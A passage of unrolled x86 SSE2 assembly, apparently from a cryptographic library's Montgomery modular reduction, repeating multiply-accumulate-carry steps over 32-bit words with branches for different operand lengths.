paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (60)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (16)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (64)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (64)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (20)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (68)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (68)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (24)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (72)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (72)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (28)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (76)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (76)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (32)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (80)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (80)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (36)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (84)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (84)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (40)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (88)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (88)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (44)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (92)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (52)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (52)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (56)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (56)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (60)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (60)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (64)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (64)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (68)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (68)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (72)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (72)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (76)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (76)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (80)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (80)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (84)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (84)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (88)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (88)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (92)(%edx)
pshuflw $(254), %xmm7, %xmm6
psrlq $(32), %xmm7
add $(48), %edx
jmp .Lfinishgas_1
.Ltst_reduct13gas_1:
cmp $(13), %edi
jne .Ltst_reduct14gas_1
movd (24)(%ebp), %xmm5
pandn %xmm6, %xmm6
movd (%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (52)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (32)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (32)(%edx)
psrlq $(32), %xmm7
movd (36)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (36)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (36)(%edx)
psrlq $(32), %xmm7
movd (40)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (40)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (40)(%edx)
psrlq $(32), %xmm7
movd (44)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (44)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (44)(%edx)
psrlq $(32), %xmm7
movd (48)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (48)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (48)(%edx)
psrlq $(32), %xmm7
paddq %xmm4, %xmm7
movd %xmm7, (52)(%edx)
pshuflw $(254), %xmm7, %xmm6
movd (4)(%edx), %xmm0
pmuludq %xmm5, %xmm0
movd (56)(%edx), %xmm4
paddq %xmm6, %xmm4
movd (%eax), %xmm7
pmuludq %xmm0, %xmm7
movd (4)(%edx), %xmm2
paddq %xmm2, %xmm7
movd %xmm7, (4)(%edx)
psrlq $(32), %xmm7
movd (4)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (8)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (8)(%edx)
psrlq $(32), %xmm7
movd (8)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (12)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (12)(%edx)
psrlq $(32), %xmm7
movd (12)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (16)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (16)(%edx)
psrlq $(32), %xmm7
movd (16)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (20)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (20)(%edx)
psrlq $(32), %xmm7
movd (20)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (24)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (24)(%edx)
psrlq $(32), %xmm7
movd (24)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (28)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
movd %xmm7, (28)(%edx)
psrlq $(32), %xmm7
movd (28)(%eax), %xmm1
pmuludq %xmm0, %xmm1
movd (32)(%edx), %xmm2
paddq %xmm2, %xmm1
paddq %xmm1, %xmm7
